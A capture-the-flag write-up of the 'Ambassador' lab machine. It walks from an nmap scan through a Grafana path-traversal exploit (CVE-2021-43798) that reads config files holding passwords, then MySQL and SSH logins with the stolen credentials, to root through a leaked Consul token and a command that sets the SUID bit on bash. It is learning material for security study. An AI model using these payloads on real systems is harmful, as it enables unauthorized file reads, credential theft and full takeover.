Writeup: Ambassador

Zharaman

January 9, 2025

Contents

1 Reconnaissance **2**
- 1.1 Port Scanning 2
- 1.2 Analysis of Detected Services 2
- 1.3 Exploitation of Port 3000: LFI Vulnerability in Grafana 4
- 1.4 Impact 5
- 1.5 Exploitation of the `mysql.yaml` File 6
- 1.6 MySQL Database Enumeration 7

2 Privilege Escalation: Discovery and Exploitation of Consul API **10**

1 Reconnaissance

1.1 Port Scanning

To identify the services exposed on the target, we used a custom script based on `nmap`, which performs an initial scan of all ports followed by a detailed scan of the open ports.

The command used for the detailed scan was:

```
sudo nmap -sC -sV -p22,80,3000,3306 -oN nmap_results/service_scan.txt 10.10.11.183
```

The results obtained were:

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
3000/tcp open  http    HTTP (possibly a login panel)
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2
```

1.2 Analysis of Detected Services

Below is a detailed analysis of the detected services:

- **Port 22 (SSH):**
  - Service: OpenSSH 8.2p1
  - Operating System: Ubuntu Linux
  - Observation: A secure service for remote access. Could be useful if valid credentials are obtained.
- **Port 80 (HTTP):** Port 80 hosts a web server with the title **Ambassador Development Server**. Below is a summary of key findings:
  - **Homepage:**
    - **Title:** *Ambassador Development Server.*
    - **Content:** Displays a welcome message indicating this server provides a development environment for Ambassador developers.
  - **Recent Post:**

    - **Post Title:** *Welcome to the Ambassador Development Server.*
    - **Date:** March 10, 2022.
    - **Content:**
        - Informs that to connect to the machine, developers should use the `developer` account for SSH.
        - DevOps will provide the password.

  This content suggests the potential existence of valid credentials for SSH access. Therefore, further enumeration on this service will focus on identifying:

  - Sensitive files.
  - Hidden paths.
  - Exploitable vulnerabilities.

- **Port 3000 (Grafana):** Port 3000 hosts a login panel for **Grafana**, a monitoring and analytics platform. The interface indicates it is running version **8.2.0**, as noted in the bottom-right corner of the panel.

  - **Detected Service:** Grafana 8.2.0
  - **URL:** `http://10.10.11.183:3000`
  - **Observations:**
    - Grafana version 8.2.0 is known for a **Local File Inclusion (LFI)** vulnerability documented in Exploit-DB (ID: 50581).
    - This vulnerability allows attackers to read arbitrary files on the server, including:
        - Critical configurations.
        - Stored credentials.

- **Next Steps:** To exploit this vulnerability, we will use the exploit documented in Exploit-DB. The approach will be to access sensitive files on the server, starting with:

  - `/etc/passwd`: to identify system users.
  - Grafana configurations: to search for administrative credentials and key settings.

- **Port 3306 (MySQL):**
  - Service: MySQL 8.0.30
  - Observation: This service may contain sensitive information, such as credentials, if privileged access is achieved.

1.3 Exploitation of Port 3000: LFI Vulnerability in Grafana

Taking advantage of the Local File Inclusion (LFI) vulnerability present in the `alertlist` plugin of Grafana version 8.2.0, we accessed the `grafana.ini` configuration file. This version of Grafana is vulnerable to CVE-2021-43798, a known vulnerability that allows unauthenticated attackers to read arbitrary files on the server due to improper path validation.

The `grafana.ini` file is known to contain critical configurations, including administrative credentials, as detailed in the official Grafana documentation (`https://grafana.com/docs/grafana/latest/setup-grafana/configure-grafana/`).

Below, we proceed to exploit this vulnerability to access sensitive information on the server.

Command Used

The following `curl` command was used to exploit the vulnerability and list the configuration file:

curl –path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../etc/grafana/grafana.ini -o grafana$_{c}onfig.ini$

Result

The `grafana.ini` file was successfully downloaded and contained sensitive information, including administrator credentials:

```
[security]
admin_user = admin
admin_password = messageInABottle685427
```

Impact

Access to the file revealed the following administrative credentials:

- **Username:** `admin`
- **Password:** `messageInABottle685427`

These credentials allow login to the Grafana panel hosted on port `3000`, enabling access to the administrative interface.

Step 2: Enumeration of *Data Sources* Configurations

Within the Grafana panel, under the *Data Sources* section, an active configuration was identified connecting to a MySQL database. The relevant details are as follows:

- **Name:** `mysql.yaml`
- **Host:** `localhost:3306`
- **Database:** `grafana`
- **Username:** `grafana`

Step 3: Next Steps

Using this information, we followed the recommendations in the official Grafana documentation (`https://grafana.com/docs/grafana/latest/administration/provisioning/#data-sources`) to locate files related to data source provisioning. We focused on the file:

- `/etc/grafana/provisioning/datasources/mysql.yaml`

This file may contain additional credentials or information to directly connect to the MySQL database and extract sensitive data.

1.4 Impact

The discovery of these configurations represents a clear vector to gain access to the underlying database, which could allow enumeration of tables, credentials, and additional data stored within the system.

1.5 Exploitation of the `mysql.yaml` File

After investigating further paths related to Grafana configurations, we located the `mysql.yaml` file by exploiting the Local File Inclusion (LFI) vulnerability in the `alertlist` plugin. This file contains sensitive information about the MySQL database connection.

Command Used

The file was retrieved using the following command:

curl –path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../etc/grafana/provisioning/datasources/mysql.yaml

File Content

The content of the `mysql.yaml` file is as follows:

```
apiVersion: 1
datasources:
- name: mysql.yaml
  type: mysql
  host: localhost
  database: grafana
  user: grafana
  password: dontStandSoCloseToMe63221!
  editable: false
```

Impact

The file provides the necessary credentials to establish a direct connection to the MySQL database. The details obtained are as follows:

- **Username:** `grafana`
- **Password:** `dontStandSoCloseToMe63221!`
- **Host:** `localhost:3306`
- **Database:** `grafana`

These credentials grant full access to the `grafana` database, which can be exploited to enumerate tables and extract sensitive data.

Connection Command

To connect to the database, the following command was used:

```
mysql -h localhost -u grafana -p grafana
# Password: dontStandSoCloseToMe63221!
```

1.6 MySQL Database Enumeration

After connecting to the MySQL database using the obtained credentials, we enumerated the available databases and tables. The results are detailed below.

Available Databases

The command executed to list the databases was:

```
SHOW DATABASES;
```

The results were:

```
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
```

Among these databases, the most relevant for our exploitation was `whackywidget`.

Tables in the `whackywidget` Database

Once connected to the `whackywidget` database, we executed the following command to list the available tables:

```
USE whackywidget;
SHOW TABLES;
```

The result was:

```
+-------------------------+
| Tables_in_whackywidget  |
+-------------------------+
| users                   |
+-------------------------+
```

Contents of the `users` Table

Subsequently, we queried the contents of the `users` table using the following command:

```
SELECT * FROM users;
```

The result obtained was:

```
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5fbmdsaXNoTWFuSW5OZXdzb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
```

Observations

The `pass` field contains a Base64-encoded string. We proceeded to decode it to retrieve the plaintext password, as detailed in the next section.

Impact

The `pass` column contains a value encoded in Base64. After decoding it, we obtained the password corresponding to the `developer` user. The command used for decoding was:

```
echo "YW5fbmdsaXNoTWFuSW5OZXdzb3JrMDI3NDY4Cg==" | base64 -d
```

The result of the decoding is:

Username: `developer`

Password: `an_englishManInNewYork027468`

Next Steps

We will use these credentials to attempt authentication with additional services, such as SSH, to continue exploiting the system.

System Access as `developer`

With the obtained credentials:
Username: `developer`
Password: `an_englishManInNewYork027468`
We successfully authenticated to the SSH service and gained access to the system as the `developer` user.

Successful SSH Connection

The command used to connect to the system was:
`ssh developer@10.10.11.183`
Password: `an_englishManInNewYork027468`
Once inside, we verified the user's identity and associated permissions:

- `whoami`
  Output: developer
- `id`
  Output: `uid=1000(developer) gid=1000(developer) groups=1000(developer)`

Initial Exploration

We listed the files in the `developer`'s home directory and found the first flag:

```
ls
Output:
snap  user.txt
```

The `user.txt` flag is present in this directory and represents the first completed stage of the machine.

Conclusion

Accessing the system as `developer` marks a significant milestone in our exploitation, validating the effectiveness of the methodology used. This advancement allows us to interact directly with the target environment and analyze its internal configuration, consolidating our initial control over the compromised system.

2 Privilege Escalation: Discovery and Exploitation of Consul API

During enumeration as the `developer` user, we discovered key information on the system that allowed us to identify and utilize the Consul API to escalate privileges.

System Exploration

While listing files in the `developer`'s home directory, we found a `.gitconfig` file pointing to a directory related to a project named `my-app`:

```
ls -la
# Output:
# drwxr-xr-x 7 developer developer 4096 Mar 13 2022 .
# drwx------ 3 developer developer 4096 Mar 13 2022 ..
# -rw-r--r-- 1 developer developer 93 Sep 2 2022 .gitconfig
```

This led us to investigate the `/opt/my-app` directory, where we found a Git repository:

```
ls -la /opt/my-app
# Output:
# drwxr-xr-x 5 root root 4096 Mar 13 2022 .
# drwxr-xr-x 4 root root 4096 Mar 13 2022 ..
# drwxr-xr-x 3 root root 4096 Mar 13 2022 whackywidget
```

Inspecting the Git Repository

To analyze the repository's contents, we used the `git log` command to review previous commits. This command allowed us to identify a relevant commit referencing a file named `put-config-in-consul.sh`.

The command executed was:

git log

The result was as follows:

```
commit 33a53ef9a207976d5ceceddc41a199558843bf3c
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script
```

Command Used

The command executed to analyze the contents of the commit was:

```
git show 33a53ef9a207976d5ceceddc41a199558843bf3c
```

Command Output

The analysis revealed the following information in the script:

```
Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 \
whackywidget/db/mysql_pw $MYSQL_PASSWORD
```

Discovered Details

The token used to interact with the Consul API is as follows:

```
bb03b43b-1d81-d62b-24b5-39540ee469b5
```

Impact

The discovered information allows us to:

- Authenticate to the Consul API using the `CONSUL_HTTP_TOKEN`.

- Execute commands to manipulate keys and values within Consul, such as configuring passwords or critical system settings.
- Escalate privileges using poorly secured commands within the Consul environment.

The following details how this token was used to escalate privileges within the system.

Consul API Exploitation

With the token in hand, we used the script `consul-rce` to interact with the Consul API. The following command was applied to modify the permissions of the `/bin/bash` binary:

```
python3 consul_rce.py
-th 127.0.0.1
-tp 8500
-ct bb03b43b-1d81-d62b-24b5-39540ee469b5
-c "chmod u+s /bin/bash"
```

```
python3 consul_rce.py -th 127.0.0.1 -tp 8500 \
-ct bb03b43b-1d81-d62b-24b5-39540ee469b5 \
-c "chmod u+s /bin/bash"
```

Exploitation Results

We verified that the SUID bit was successfully applied to the `/bin/bash` binary. Subsequently, we used this binary to gain a shell with `root` privileges:

```
ls -l /bin/bash
Output:
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash

bash -p
whoami
Output:
root
```

This process confirmed that the exploitation was successful, granting us full access to the system with `root` privileges.

Conclusion

This writeup reflects a structured process of learning and applying advanced security techniques, from initial enumeration to successfully exploiting critical vulnerabilities. During the analysis, the importance of a methodical approach to identifying insecure configurations, such as the exposure of a token in Consul scripts, was evident.

Through the exploitation of the vulnerability, we learned to strategically interact with APIs, applying tools like `consul-rce` and adapting commands to meet the needs of the environment. This experience not only provided insight into how poorly implemented security configurations function but also demonstrated how they can become effective attack vectors.

The key takeaway is the importance of documenting each step of the process, from the initial analysis to gaining `root` privileges, enabling a clear understanding of the actions performed. Additionally, the exercise highlighted the relevance of integrating theoretical concepts with real-world practices, consolidating skills in a simulated environment that replicates real-world scenarios.

Ultimately, this writeup demonstrates the impact of exploiting vulnerabilities in poorly configured systems while reinforcing the importance of following a rigorous methodology, understanding advanced tools, and addressing problems systematically. This document serves as a valuable tool for showcasing technical expertise and inspiring continued learning in the field of cybersecurity.